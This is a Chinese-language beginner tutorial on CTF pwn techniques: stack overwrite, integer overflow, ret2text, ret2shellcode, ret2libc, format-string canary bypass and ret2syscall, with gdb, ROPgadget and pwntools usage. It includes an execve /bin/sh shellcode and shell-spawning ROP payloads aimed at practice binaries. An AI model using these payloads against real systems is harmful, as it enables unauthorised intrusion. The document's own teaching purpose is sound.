PWN的一些基础知识
前言
什么是Pwn?
概念
”Pwn”是一个黑客语法的俚语词 ,是指攻破设备或者系统 。发音类似“砰”,对黑客而言,这就是成功实施黑客攻击的声音——砰的一声,被“黑”的电脑或手机就被你操纵了。
——————————————————————————————————百度百科
例子
试想有个端口对外开放着某种服务,如果你成功将它pwn掉,获取shell,提权之后这台服务器你就可以为所欲为;
即使无法提权,你也可以使用shell执行一些操作
入门者常用的Pwn方法
√ 代表本文目前更新
栈内变量覆盖 √
整型溢出 √
ROP【全称为Return-oriented programming(返回导向编程)】
- ret2text √
- ret2shellcode(未启用NX保护,栈可执行) √
- ret2libc (可用于绕过NX保护)√
- ret2syscall √
- ret2csu - 请移步下篇文章pwn进阶(尚未更新)
格式化字符串漏洞 √
构造ROP链 - 请移步下篇文章pwn进阶(尚未更新)
一些话
IDA上静态分析看到的东西有时和实际上运行的情况不一样,所以有时候需要进行动态分析,利用gdb等工具(IDA debug环境也可)
本文提供的程序全部为pyhton3,使用python2.7运行可能会遇到错误
本文篇幅较长,也比较枯燥,需要一些耐心进行阅读、思考
本文写给有c语言基础但是不懂pwn的人,介绍基础方法
开始之前
如果想知道相关工具的配置,请到本文后部分“相关”部分。(非常建议先把工具的使用方法了解一下)
本文可能存在一些错误,如有发现请麻烦指正,感激不尽。
导入
简单栈内变量覆盖
程序
ciscn_2019_n_1
程序下载: 本站网址/static/post/pwn-rop/ext/bin/ciscn_2019_n_1
checksec
amd64-64-little,为64位小端存储,开启NX保护
运行一下
IDA反编译
main函数
直接F5查看c伪代码,没有关键的东西,继续看func函数
func函数
汇编
c伪代码
可以看到gets函数,这是个危险函数,我们从gets入手
程序解释
程序打印“Let’s guess the number.”
程序读取输入,存到v1变量
程序判断v2的值是否为11.28125,是的话就执行system(“cat /flag”)
剩下的略过
可以发现v2并没有要求输入,但是v1可以输入任意数量的字符,由于v1 v2处于同一个栈,将v1输入一定数量的字符导致其溢出,溢出值覆盖v2的值即可
如下,v1首地址与v2首地址相差0x30-0x04也就是48-4 = 44
Exploit
1 | from pwn import * |
Exp解释
到接受完”Let’s guess the number.”这一字符串,程序就发送44个a,再发送11.28125的十六进制形式
需要注意的是,p64()函数中填入浮点数会报错,为了避免这个错误,我们需要先将11.28125转化为十六进制形式
可以使用在线工具,网站在此
小端程序和大端程序
本次使用的程序就是64位的小端程序,关于小端程序和大端程序的区别,其实就是一个存储方式的区别
小端和大端的区别,是会对我们pwn产生影响的,但是我们接触到的pwn程序一般为小端存储,简单了解下即可
1 | 大端模式(大尾) |
- 当一个变量的值位0x1122,0x11为高字节,0x22为低字节
在大端程序中,0x11存储在内存的低位,而0x22存储在内存的高位
在小端程序中,0x22存储在内存的低位,而0x11存储在内存的高位
- 如果觉得有些抽象还可以看看这个判断程序(C语言)
来自此处
1 | //大小端测试程序 |
简单整型溢出
M78
欢迎来到M78星云的光之国,开始你的奇妙冒险吧!
题目入口:失效了/(ㄒoㄒ)/~~
初步尝试
对其执行checksec
*32位程序
*NX保护也就是栈不可执行
逆向分析
ida打开
先看主函数部分
调用了explorer函数
看过了explore函数和后面的check函数,感觉找不到可以溢出的地方
找后门函数
先把后门函数找到
1 | int call_main() |
记录下地址0x08049202
尝试直接运行
不允许的情况
允许的情况
程序要求strlen得出为7才能允许,为啥输入6个a就能成?个人认为因为回车存在”\n”符,程序把换行符”\n”算进去了
反而输入7个a是不能成的
写了个c程序验证,果然如此
开干
找溢出目标
可以看到调用了check函数
存在溢出的是strcpy那里,只需要让dest溢出即可,这个dest是下图中的第一句c程序char dest;
为啥?由于字符串复制(strcpy函数)s指针指向的字符数组的大小可以超过dest所在栈空间的最大值(ebp-18h那里)(也就是0x18),存在溢出
关于溢出的的一些知识
这里就要讲一下上溢出了
上溢出存在于有符号型数据类型,一个char型为一个字节,用于C或C++中定义字符型变量,
signed char范围是 -2^7 ~ 2^7-1,即-128到127
假设一个signed char变量的值为127,此时加1,它会变成-128
1 | 0b01111111->加1->0b100000000 |
ctfwiki中解释
1 | 0x7fff (0b0111111111111111)表示的是 32767, |
既然有上溢出,当然也有下溢出
ctfwiki中解释
下溢出存在于无符号型数据类型
1 | sub 0x8000, 1 == 0x7fff, |
要求满足字符长度为7的条件
char存储128的值会因为溢出而变成-128,也就是存储257后实际值就是1,下面有进行条件测试
条件测试1
写了一个c程序进行观察
保存为1.c
1 |
|
gcc编译
使用-m32参数保证编译32位程序
1 | gcc 1.c -o 1.o -m32 |
使用pwntools测试
1 | from pwn import * |
结果
更多结果
条件测试1总结
也就是输入256+i,存储的就是i(i为整数)
理顺条理
那么对于这道题目,我给它输入262个字符就行,262即256+6,剩下一个字符为“\n”,符合长度7
为啥?本文开头那里“尝试直接运行”部分有说明
构造payload
由于我使用python3,所以需要decode(“iso-8859-1”),python2.7无需此操作
1 | 0x18 * 'a' + 4 * 'a' + p32(0x08049202).decode("iso-8859-1") + (262-0x18-4-4) * 'a' |
读入的最大大小为0x199u,也就是十进制409,262个字符输入是可行的
payload解释
0x18 * ‘a’ 中的0x18前面说过是dest存储的最大值,超过这个值造成dest变量溢出
汇编显示有leave指令,即mov esp,ebp和 pop ebp
pop ebp也就是说pop时候,出栈用esp寄存器接收数据
4 * ‘a’ 是用于覆盖ebp寄存器的出栈数据(32位程序为4字节,64位程序就要为8字节了),使其出栈
那么p32(0x08049202).decode(“iso-8859-1”)实际上是p32(0x08049202),是字节码,溢出时使ret指令跳到这个地址,使其执行位于0x08049202的函数
(262-0x18-4-4) * ‘a’是为了保证最后发送的为262个字符,-0x18就不多说了,前面已经有0x18个字符‘a’故减去,一个-4是因为前面的4 * ‘a’ 占去四个字符
而再次-4是因为p32(0x08049202)为4个字符的大小,下图使用python的函数len()计算出p32()为四个字符的长度
前面已经说明使用262的原因
Exploit
exploit如下
1 | from pwn import * |
payload其他写法
这样写可能更好理解
1 | payload = 'a' * (0x18 + 4) + p32(0x08049202).decode("iso-8859-1") |
简单ret2text
ret2text的简单理解就是利用.text段
什么时候使用ret2text?通常我们会反编译程序,查看是否有后门函数存在,如果后门函数如system(“/bin/sh”)存在,很有可能可以使用ret2text。
题目来自https://ctf.show/ 的 pwn02
下载程序
提供一个stack文件
checksec
可以看到这是32位的程序,开启NX
运行一下
IDA反编译
可以看到数组s的所在栈空间只能存9个字符,而程序允许50字符的读取,存在栈溢出
pwnme函数如下
还发现后门函数
地址位于0x804850F
程序解释
程序运行后要求用户输入,最多能输入50个字符,输入的字符存到数据类型为char的s变量中
Exploit
语言为python3
1 | from pwn import * |
EXP解释
先使用9个字符填满s变量所在栈,造成溢出,再使用4个字符对ebp寄存器进行覆盖(程序在返回(ret)前会pop ebp,即对ebp进行出栈操作)(由于是32位程序,ebp寄存器能存4个字节,所以是4,64位程序是8)
结构如下:
(使用Windows自带画图工具画的,见谅)
进阶ret2text
程序下载: 本站网址/static/post/pwn-rop/ext/bin/ret2text1
因为找不到想要的在text段有”/bin/sh”字段的程序,所以拿ctfwiki上的一题ret2libc1来讲,应当是类似的
checksec
IDA反编译
存在后门函数,地址为0x08048460,但是只有system函数,不能获取shell
允许输入命令(由command变量)
存在字符串”/bin/sh“
按图示操作
显示
找到字符串”/bin/sh“的地址为0X08048720,可以构造system(“/bin/sh”)
程序解释
输出”RET2LIBC >_<“后读取任意长度字符存入所在栈空间为0x64个字节的s(char型)中
构造payload
1 | #刚刚记下的地址 |
编写exp
1 | from pwn import * |
但是运行了之后无法get shell,显示EOF。
这种情况就是在文章开头时说的,有时IDA进行静态分析不太准确,
那么此时进行动态调试是必要的
使用GDB进行动态调试
实际上,我们填入的字符’a‘的数量是变量s相对于返回地址的偏移,
目的是为了p32(system)即system的地址能覆盖到程序的返回地址
现在要做的就是找到变量s相对于ebp的偏移,然后+4,就是变量s相对于返回地址的偏移
启动gdb
1 | gdb ret2text1 |
在gets下断点
1 | break gets |
或
1 | b gets |
运行
1 | run |
或
1 | r |
找到s在0xffffd4dc
为了查看下面的栈,输入
(100按情况定,是后多少个的意思)
1 | stack 100 |
找到ebp在0xffffd548
计算偏移量
输入
1 | distance 0xffffd4dc 0xffffd548 |
计算出s相对于ebp的偏移为0x6c,则变量s相对于返回地址的偏移为0x6c+4
Exploit
1 | from pwn import * |
简单ret2shellcode
/bin/sh
找到一个大神的27 bytes-/bin/sh如下
16进制版shellcode如下,通过此shellcode可以实现system(“/bin/sh”)的功能
1 | \x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05 |
汇编语句如下,可以研究学习一下
1 | ;来自http://shell-storm.org/shellcode/files/shellcode-806.php |
配套简单ShellCode题目
程序下载: 本站网址/static/post/pwn-rop/ext/bin/leak
checksec
64位程序,没有开启NX,其它保护也没开
运行
IDA反编译
没有可用system()函数
看一下主函数
反编译之后很好理解
程序解释
将s的地址打印出来
然后程序读取512个字符存入类型为char的s变量
漏洞
溢出点
1 | char s; |
数组地址
因为Linux的地址随机化机制,每次运行程序都会给s分配一个随机地址,
而这个题目把s的地址打印出来,所以这个题目是降低了难度的
1 | printf("Oops, I'm leaking! %p\n", &s); |
理解
因为读取的512个字符大小超过了s的所在栈空间大小,导致溢出
又因为NX disable,所以可以执行shellcode,可以用shellcode来劫持程序
Exploit
如下,使用pwntools
请使用python3,下面的程序就是用了上面的16进制shellcode
1 | from pwn import * |
第二个版本(有debug输出)
1 | from pwn import * |
EXP解释
简单解释:
输入0x40(十进制64)个字符就能装满s,再输任意字符就能导致s溢出
先导入shellcode再填充至72(64+8)(8是因为64位程序),再发送s的地址就能完成劫持
深入分析:
分析如图所示汇编程序:
程序读取64个字符(0x40)后(call _fgets后面),先用mov指令将0传送到eax寄存器
然后leave指令,即
1 | mov esp,ebp |
pop指令会进行出栈操作,所以要用64个字符(结构:shellcode+无用字符)后再填充8个字符(结构:无用字符)对其进行覆盖,再发送s的地址
最后ret指令(retn)就会执行发送的shellcode(地址被覆盖为s的地址)
ret指令:
先数据传送,再出栈
1 | 1. 数据传送ebp到esp |
结构如下:
(Windows自带画图工具)
简单ret2libc
少许GOT表和PLT表知识
图片由lx制作
PLT表中存放的是GOT表的地址,当程序要调用某个函数时,会先通过PLT表获取GOT表中存放的函数在内存中的实际地址,再通过实际地址跳转到函数实际所在位置
由于32位程序和64位程序有些区别,所以这里会单独介绍32位和64位程序的做法
ELF
程序1
32位程序
32位程序使用栈传递参数
程序描述
题目来自CTF.show 的 pwn03
程序下载: 本站网址/static/post/pwn-rop/ext/bin/stack1
checksec
可以看到开启了NX,Partial RELRO函数只有在调用时才去执行加载,如果是Full RELRO则不适用ret2libc
运行一下
IDA反编译
先进行静态分析
程序中自身就没有system函数和”/bin/sh”字符串,并且没有给出libc.so文件
对main函数
汇编
伪C
对pwnme函数
汇编
C伪代码如下
程序解释
开始时,打印”stack happy!”和”32bits\n”
程序读取100个字符存入类型为char的s变量,s的所在栈空间大小为9个字符
再打印”\nExiting”
思路解释 and Exploitation
先了解前提条件
这个程序没有后门函数,而且开启了NX保护,存在ASLR(地址空间布局随机化,函数地址不固定)
取得程序libc版本
当我们知道它的libc版本,就可以利用libc,构造system(“/bin/sh”)确定输出函数
因为程序使用了puts函数,所以以puts函数为突破口,泄漏puts函数在GOT表里的地址,以此地址确认libc的版本
取地址的后三位数字确认libc的版本(地址随机化,对地址中间位进行随机,不过地址的倒数三个数字能确定)
求基地址
之后找puts函数在此版本libc中的偏移量,目的是为了求得基地址
由我们获取puts函数的实际地址,减去libc中puts函数的偏移量,可以获取基地址(base)
当获取到了基地址,即可构造system(“/bin/sh”)
基地址加上libc上system函数的偏移量,就是远端机器实际上内存中libc中system函数的实际地址,再获取libc中的”/bin/sh”字符的实际地址,与前面的system函数配合,即可拿到shell
构造完成,劫持程序
将程序劫持到system(“/bin/sh”)
PLT表和GOT表前面已经有简单的介绍,如果还不太清楚,可以再回去了解一下
我们先把puts函数在GOT表里的地址弄出来
程序为python3
1 | from pwn import * |
在Ubuntu20.04运行结果如下
当连接到远程环境
1 | from pwn import * |
得到地址如下
可以看到两个地址不相同,还是以远端机器为主,这里取后三位数字360
1、关于payload写法(暂时不能确定是否完全正确,有待以后验证):
调用某个函数,取其plt地址
如
1 | p32(puts_plt) |
对于函数和数据,调用的函数地址在前,数据的地址在后
如之前写的
1 | p32(puts_plt) + p32(puts_got) |
即put(puts_got)
对于函数之间,先调用的函数在前
如
1 | p32(puts_plt) + p32(main_addr) |
即先调用puts(),再返回main()
而上面给的程序
1 | p32(puts_plt) + p32(main_addr) + p32(puts_got) |
会先put(puts_got), 再ret main
使用puts函数要求填入一个参数,p32(puts_got)即填入puts里的参数
注意,ret main【即p32(main_addr)】是必要的,否则程序将继续执行下一条指令直到退出,p32(main_addr)是puts函数执行完的返回值,意思是返回到main函数,如果缺少这个返回值,程序会出错
可以是其它函数的got地址
类比如下
下面这样写就是fgets
1 | fgets_got = elf.got['fgets'] |
如果是write函数,应当填入3个参数,
write(1, str, length),1代表stdout程序输出流, length是读取字节数
1 | write_got = elf.got['write'] |
2、关于puts_addr的获取的说明
实际上完整的p.recv()如下
1 | b'stack happy!\n32bits\n\n\x10X\xd7\xf7`s\xd7\xf7\x90\x8d\xd2\xf7\xc0z\xd7\xf7\nstack happy!\n32bits\n\n |
我们只获取第一次”stack happy!\n32bits\n\n“后面的东西,所以获取到”\n\n“即可(略过’\n\n’及其前面的东西)
1 | p.recvuntil('\n\n') |
当然这样写也是可以的
1 | p.recvuntil('stack happy!\n32bits\n\n') |
得到
1 | b'\x10X\xd7\xf7`s\xd7\xf7\x90\x8d\xd2\xf7\xc0z\xd7\xf7\nstack happy!\n32bits\n\n |
因为地址是4个字节的,我们只需要再获取4个字节
1 | p.recv(4) |
但由于u32()要求输入的是四个字节的数据,有时p.recv(4)获取的东西可能不足4个字节,给他用“\00”进行补充
1 | u32(p.recv(4).decode("iso-8859-1").ljust(4, "\00")) |
最后转换为hex(16进制)
1 | hex() |
u32()的解释可看此处
简单来说就是bytes的解压,p32()是bytes的压缩,recv()返回的数据类型为byte,而decode(“iso-8859-1”)可以将byte解码为str
然后根据GOT表里的地址确定libc版本,获取基地址
到此网站查找puts,360
计算基地址:
泄露出来的puts地址- puts在libc中的Offset
即0xf7d73360- 0x067360
即
1 | base_addr = puts_addr - 0x067360 |
根据偏移量和基地址构造system(“/bin/sh”)
1 | system_addr = base_addr + 0x03cd10 |
之前已经调用过main了,所以程序会再次要求用户输入,只需再次发送payload
1 | payload1 = b'a'*(9+4) + system_addr + b'a'*4 + bin_sh_addr |
完整EXP如下
1 | from pwn import * |
程序2(进阶)
64位程序
64位程序函数的调用方式与32位存在区别,使用寄存器传递参数
寄存器有rdi、rsi、rdx、rcx、r8、r9(1-6个参数)
程序描述
ciscn_2019_c_1
程序下载: 本站网址/static/post/pwn-rop/ext/bin/ciscn_2019_c_1
程序中自身就没有system函数和”/bin/sh”字符串,并且没有给出libc.so文件
checksec
64位程序,NX开启,Partial RELRO
运行一下
感觉有些无语
静态分析(IDA反编译)
main函数
C伪代码
汇编程序
begin函数
encrypt函数
C伪代码
汇编
程序分析
运行程序后,打印
1 | EEEEEEE hh iii \n |
程序首先要求我们选择模式,1为加密,2为解密,3为退出
输入1,程序打印
1 | Input your Plaintext to be encrypted\n |
程序将读取任意长度字符,存入s中,s仅能存0x50个字符,然后程序再根据ASCII码,
对大于ASCII值47,小于等于ASCII值57(此范围对应字符0-9)的字符进行对0XF的异或,
对于大于ASCII值64,小于等于ASCII值90的字符(此范围对应字符A-Z)的字符进行对0XE的异或,
对于大于ASCII值96,小于等于ASCII值122的字符(此范围对应字符a-z)的字符进行对0XD的异或,
之后输出加密完的字符会返回begin函数,打印提示。
1 | Ciphertext\n |
输入1之后的加密过程其实不重要,我们只需要关注它对任意长度字符的读取导致的溢出
输入2,程序提示 你应该能自己解密。。。然后返回begin函数,打印提示
输入3,直接return 0正常结束程序
思路
- 还是像之前的32位程序那样,先泄露puts的地址(因为这里使用了puts),根据后三位数字判断其libc地址
- 获取基地址,利用libc偏移量构造system(“/bin/sh”)
构造payload1
用于泄露puts的地址
关于32位和64位程序的区别前面已经有提过,在我们构造payload时就会体现这个区别
64位程序使用寄存器传值,因为puts函数只要一个参数,只需要找rdi寄存器(第一个传值的寄存器)的地址
先获取rdi寄存器的地址
需要借助ROPgadget,安装方法见文章底部“相关”部分
ROPgadget可以查看所有的地址和汇编指令
1 | ROPgadget --binary ciscn_2019_c_1 |
为了防止眼花,最好让它自己找出来
1 | ROPgadget --binary ciscn_2019_c_1 | grep 'rdi' |
找到pop rdi ; ret,地址为0x0000000000400c83,可写为0x400c83
依然是直接连接远程主机,原因的话前面已经解释过了
程序为python3
1 | from pwn import * |
payload1的解释
1、b’a’*(0x50+8)应该不需要解释了
2、p64(rdi)+p64(puts_got)是把puts_got的地址传给rdi寄存器
3、p64(puts_plt)是因为找到的pop rdi ; ret存在ret指令,p64(rdi)+p64(puts_got)传完值执行ret指令就能返回到puts_plt表的地址,执行puts函数,打印rdi寄存器里puts_got的地址,p64(main)是puts函数执行完后ret main返回到main函数的地址,再次执行主函数,所以可以看到启动程序时的提示信息出现了两次
下图为payload1发送完接受的信息 ,启动程序时的提示信息第二次出现
4、p.recvuntil(‘Ciphertext\n’)和p.recvuntil(‘\n’)可以先去掉前面的无用信息,使用
1 | p.recvuntil('\n') |
接收,得到
这里就是泄露的puts的got的地址,但是多了个”\n”,给它去掉
1 | replace("\n", "") |
因为python3的replace函数只能处理字符串,所以先把它解码为字符串
1 | p.recvuntil('\n').decode("iso-8859-1") |
如下,完成对”\n”的去除
1 | p.recvuntil('\n').decode("iso-8859-1").replace("\n", "") |
u64函数要求输入的数据为8个字节,给它用”\00”进行填充到8个字
1 | ljust(8,'\00') |
如下
1 | p.recvuntil('\n').decode("iso-8859-1").replace("\n", "").ljust(8,'\00') |
u64和u32类似,u64()为8字节,其它的可以看前面关于u32的解释
5、泄漏puts地址为0x7f17e73129c0
查libc并计算基地址
1 | base_addr = puts_addr - 0x31580 |
构造payload2
可以对前面的payload1进行复用,只需要将p64(main_addr)改为p64(rdi)+p64(bin_sh_addr)+p64(system_addr)
1 | payload2 = b'a'*(0x50+8)+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(rdi)+p64(bin_sh_addr)+p64(system_addr) |
payload2的解释
system函数的参数来自rdi寄存器,所以要先把字符串”/bin/sh”的地址传给rdi,即p64(rdi)+p64(bin_sh_addr)
当然也可以这么写
1 | ret = 0x4006b9 |
直接ret返回到rdi寄存器
ret的地址由下面命令(依然是ROPgadget)获得
1 | ROPgadget --binary ciscn_2019_c_1 | grep 'ret' |
Exploit
1 | from pwn import * |
简单格式化字符串漏洞
格式化字符串漏洞
当使用printf函数时,我们应该使用格式化字符,如%d
1 | printf("%d", int型变量); |
或
1 | printf("%s", char数组); |
而不是
1 | printf(字符串) |
当变量可被用户操控时,用户在字符串中嵌入格式化字符,由于printf允许参数个数不固定,printf会自动将这段字符当作format参数,使用后面的内存数据当作数据来源,这就是格式化字符串漏洞
格式化参数-参考此处
参数 | 输入类型 | 输出类型 |
---|---|---|
%d | 值 | 十进制整数 |
%u | 值 | 无符号十进制整数 |
%x | 值 | 十六进制整数 |
%s | 指针 | 字符串 |
%n | 指针 | 到目前位置为止,已写的字节个数 |
%n 是将printf打印的字符数量写入一个 int指针
如
1 |
|
%N$d可以访问第N个参数,并且把它以十进制输出。
%N$x可以访问第N个参数,并且把它以十六进制输出。
如下面程序
1 |
|
输入完全由用户控制
使用%21$x,读出了偏移21处的位置的内容并以16进制显示
程序
题目来自https://ctf.show/ 的 pwn04
程序下载: 本站网址/static/post/pwn-rop/ext/bin/ex2
checksec
32位程序,可以看到Canary开启,栈不可覆盖,NX开启,栈不可执行
Canary保护,随机生成一个值存在栈内,在函数返回前对此随机数进行检查。
当发生栈溢出时,这个值会被覆盖,检查时发现值被改变,系统将进入异常处理流程,函数不会正常返回。
Canary保护的绕过
一般是格式化字符串漏洞引发的Canary泄漏
先把这个值读出来,栈溢出的时候给它覆盖成原来的值,完成绕过
像这种Canary保护的题一般给的是printf(可控变量),构成格式化字符串漏洞,然后一般会读取两次,方便我们pwn程序
Canary的值以00结尾
运行一下
IDA反编译
main
vuln
伪C
可见v3就是那个随机值
最后与v3进行异或,同则返回0
read函数处于for循环中,所以会进行两次读取(进行两次输入)
汇编
mov eax, [ebp+var_C]即v3的值传送到eax寄存器
后门
在0X804859B处存在后门函数
程序分析
程序打印”Hello Hacker!”
进入循环,循环次数为2
每次循环调用read函数读取0x200字节数据存入所在栈空间为0x70的buf,然后printf打印buf
思路
找canary偏移
找到canary的值相对于printf的偏移
涉及gdb动态调试,需要pwndbg插件,可见本文下方“相关”部分
栈溢出
进行栈溢出,以读取的canary覆盖canary变量, 最后ret2text,调用后门函数
过程
gdb动态调试
使用gdb为printf下断点
1 | gdb ex2 |
随便输入一些东西
然后输入,查看后面50个栈(stack 100也可,按情况决定)
1 | stack 50 |
然后找00结尾的16进制数字(因为Canary最后两位规定是00),左边黄色的是地址
找到如下面红色箭头所指,0xa6161是我输入的字符,0x9ef02600是找到的以00结尾的值
可以手动数(从上面红色箭头的下一个地址到下面的红色箭头,相差23),他们之间偏移量为23
也可以
1 | distance 0xffffd518 0xffffd4bc |
0xffffd518是0xffffd51c(上一张图片的下面红色箭头指的地方)的上一个地址,
0xffffd4bc是0xffffd4b8(上一张图片的最上面红色箭头指的地方)的下一个地址
0x17也就是23
打印出来看看(退出gdb,直接运行程序)
1 | ./ex2 |
1 | %23$p |
发现不是以00结尾
那就找下面那个(红圈圈起那个)
1 | distance 0xffffd538 0xffffd4bc |
0xffffd538是0xffffd53c(也就是红圈那里)的上一个地址,
0xffffd4bc是0xffffd4b8的下一个地址
得到0x1f
也就是31
再次运行程序
1 | ./ex2 |
输入
1 | %31$x |
正确,那么偏移为31
编写Exploit1
接收canary的值,因为每次canary的值都会改变
1 | from pwn import * |
Exploit1的解释
payload1就不解释了,如果不太明白的话可以将上面的gdb动调部分仔细再看看
下面这条语句,是将接收到的byte类型的值按16进制转换成int型
1 | canary = int(p.recv().decode("iso-8859-1").replace("\n", ""), 16) |
由于接收到“\n”
1 | b'5f84800\n' |
对其进行去“\n”处理
1 | p.recv().decode("iso-8859-1").replace("\n", "") |
将int型的canary转换成十六进制输出
1 | print(hex(canary)) |
构造payload2
1 | bin_sh_addr = 0X804859B |
payload2的解释
bin_sh_addr为之前IDA反编译的时候发现的后门函数的地址
1 | 0X804859B |
8是0x70-0x64,0x70是buf的所在栈空间大小,4用于覆盖ebp寄存器,出栈
0x64是buf和v3之间的偏移量
0X70-0XC=0x64
Exploit
1 | from pwn import * |
网上找到类似程序的源代码
来自此处
1 | //gcc -m32 -fstack-protector-all filename.c -o ex2 |
EXP如下
不是我写的不太能看懂,我只是把原来python2程序改成了python3程序
感觉比较巧妙,覆盖buf变量,由于存canary的变量和buf变量同栈使其连在一起,又由于canary的值以00结尾,c中字符串以\x00结尾结束,canary会被当作字符串输出,泄露出了canary的值
1 | from pwn import * |
简单ret2syscall
概念
简单来说就是调用系统函数来获取shell
Linux 的系统调用通过 int 80h 来实现,程序执行系统调用时EAX寄存器存入系统调用的编号,函数参数(如:””/bin/sh”的地址)则存入其它通用寄存器
Syscall的函数调用规范为:execve(“/bin/sh”, 0,0)
;
则汇编程序为
1 | pop eax ; 系统调用号载入, execve为0xb |
注意:int 0x80用于触发中断,也就是调用execve(“/bin/sh”, 0,0)
;
实际操作
实际操作应该如下(假设为32位程序)
- eax寄存器存入0xb
1 | 栈顶 0xb |
- ebx存入binsh字符串的地址,假设为0x***
1 | 栈顶 0x*** |
- ecx存入0
1 | 栈顶 0 |
- edx存入0
edx操作同上面ecx
- 触发中断
1 | int 0x80 |
完整过程:
1 | p32(pop_eax_ret) + p32(0xb) + p32(pop_ebx_ret) + p32(0x***) + p32(pop_ecx_ret) + p32(0) + p32(pop_edx_ret) + p32(0) + p32(int_0x80) |
如果找到的gadgets为
1 | pop edx ; pop ecx ; pop ebx ; ret |
那么完整过程:
注意参数对应寄存器
1 | p32(pop_eax_ret) + p32(0xb) + p32(pop_edx_ecx_ebx_ret) + p32(0) + p32(0) + p32(0x***) + p32(int_0x80) |
程序
程序下载: 本站网址/static/post/pwn-rop/ext/bin/ret2syscall
程序来自ctfwiki
32位的程序,开启了NX
IDA静态分析
反编译的伪c代码
汇编
程序理解
打印两串字符,然后无限制获取输入,存入栈空间为0x64的v4变量中,v4为int型
字符1为:这次,没有system()也没有shellcode。。。
字符2为:你打算怎么做?
思路
我感觉这题可以用ret2libc做
要按照ret2syscall做的话,我已经在上面的“概念”处的”实际操作“已经说明了做法
如何确定适不适合使用ret2syscall?
答案是找gadgets
- 查找’int’
1 | ROPgadget --binary 文件名 --only 'int' |
- 查找’/bin/sh’
1 | ROPgadget --binary 文件名 --string '/bin/sh' |
- 查找同时含eax和含pop、ret的gadgets
1 | ROPgadget --binary 文件名 --only 'pop|ret' | grep 'eax' |
需要选地址为0x080bb196那个
- 查找含pop、ret和含有ebx的gadgets(查找ecx、edx同理)
1 | ROPgadget --binary 文件名 --only 'pop|ret' | grep 'ebx' |
箭头所指的都可以选
- 或者直接查找含pop、ret和同时含有ebx、ecx和edx的gadgets
1 | ROPgadget --binary 文件名 --only 'pop|ret' | grep 'ebx' | grep 'ecx' | grep 'edx' |
构造payload
错误的payload
1 | int_0x80 = 0x08049421 |
正确的payload
0x64->0x6C,如果不太懂可以看看前面的”进阶ret2text“部分
1 | int_0x80 = 0x08049421 |
v4的地址
ebp的位置
计算偏移量
Exploit
1 | from pwn import * |
相关
Pwn工具pwntools
pwntools由python编写,有python2.7版本和python3版本
1 | pip install pwntools |
或
1 | pip3 install pwntools |
checksec
checksec是pwntools里的工具
==使用方法==
1 | checksec 文件名 |
调用pwntools
1 | from pwn import * |
处理文件
1 | p = process('./文件名')#来产生一个对象 |
连接远程机器
1 | p = remote("服务器地址","端口")#来产生一个对象 |
信息处理
接收
1 | p.recv()#接收所有信息 |
发送
1 | p.send()#发送 |
数据类型
send()等函数能接受字符串和bytes类型的数据,所以payload可以为str类型
decode(“iso-8859-1”)可以将bytes类型的数据按”iso-8859-1”字符集转换为str类型数据,如下
1 | payload = 'a' * (0x18 + 4) + p32(0x08049202).decode("iso-8859-1") |
也可以为bytes类型,如下
1 | payload = b'a' * (0x18 + 4) + p32(0x08049202) |
ELF
参考此文章
1 | elf = ELF(’./文件名’) #产生一个对象 |
使用elf查找地址
1 | elf.symbols[‘a_function’] 找到 a_function 的地址 |
LibcSearcher
有python2.7版本和python3版本
1 | pip install LibcSearcher |
或
1 | pip3 install LibcSearcher |
先接收泄露的地址
1 | puts_addr = u32(p.recv(4)) |
对其进行自动查找
1 | libc = LibcSearcher('puts',puts_addr) |
LibcSearcher在python3下老是报连接已重置错误,重试好几次才有一次能用,还不如我自己手动去查找来的快
ROPgadget
Gadget是什么
Gadget是以 ret 结尾的指令序列,当我们可以修改某些地址,我们就能控制程序的执行
ROPgadget工具安装
1 | pip install ropgadget |
==使用方法==
1 | ROPgadget --binary 文件名 |
配合grep
1 | ROPgadget --binary 文件名 | grep "关键字" |
查找特定字符
1 | ROPgadget --binary 文件名 --only "字符" |
1 | ROPgadget --binary 文件名 --string "字符串" |
GDB
安装gdb
1 | sudo apt-get install gdb |
安装pwndbg插件
注意,需要git(使用sudo apt install git安装git)
1 | git clone https://github.com/yichen115/GDB-Plugins |
进入pwndbg目录
1 | cd GDB-Plugins/pwndbg |
需要可执行权限
1 | chmod +x setup.sh |
运行下面命令进行安装,可能需要一点时间
1 | ./setup.sh |
进入
1 | gdb 文件名 |
开始执行程序
1 | start |
输入n将会单步执行
1 | n |
退出
1 | quit |
断点调试
程序会在断点处停止
(breakpoint)下断点
1 | b 行号 |
(continue)继续运行程序
1 | c |
(display)输入display b将显示b的值
1 | display b |
(info)查看下过的断点
1 | info break |
(delete)删除断点
编号要在info命令里查看Num显示的数字
1 | delete 编号 |
(disable)和(enable)禁用和启用断点(而不是删除)
1 | disable 编号 |
(break 和run)
满足某个条件时激活断点
如满足a等于1时在程序第5行下断点
1 | break 断点 if 条件,如b 5 if a == 1 |
设置观察点
(watch)当程序访问某个存储单元启用b断点
1 | watch b |
(continue)继续执行
1 | c |
改变变量值
1 | set variable <变量>=<表达式> |
显示变量
1 | print 变量 |
显示栈帧
1 | bt |
显示局部变量
1 | bt full |
查看内存
(examine) n、f、u是可选的参数。
n: 显示内存的长度
f: 显示的格式,如字符串为s,地址为i
u: 从当前地址往后请求的字节数,默认4byte
1 | x/<n/f/u><addr> |
如
1 | x/50wx 地址 |
IDA相关
配置调试环境
- 打开IDA程序目录
- 打开目录下的dbgsrv文件夹
可以看到支持很多环境
如果是在X86架构的linux上调试,就选linux_server和linux_server64
- 放到X86_64架构的linux环境下
- 运行
先赋予可执行权限
1 | chmod +x linux_server |
然后运行
1 | ./linux_server |
- 连接
打开32位的IDA(运行哪个就开哪个)
1、设置debugger
2、连接linux主机
填写参数,密码为linux主机的密码
ip查看
1 | ip addr show |
端口
开始调试
F9运行,一路YES
调试界面
linux主机端可以看到程序运行
写在最后
学习参考:
- https://blog.csdn.net/Xuanyaz/article/details/117855179 延迟绑定
- https://www.freesion.com/article/2459875127/ ctfshow-pwn题参考
- https://blog.csdn.net/qq_43573676/article/details/104305068 大端与小端
- https://blog.csdn.net/qinying001/article/details/103266763 ret2libc x64学习
- https://blog.csdn.net/qq_33948522/article/details/93880812 ret2syscall的知识
- GDB的使用
本文更新完成
EOF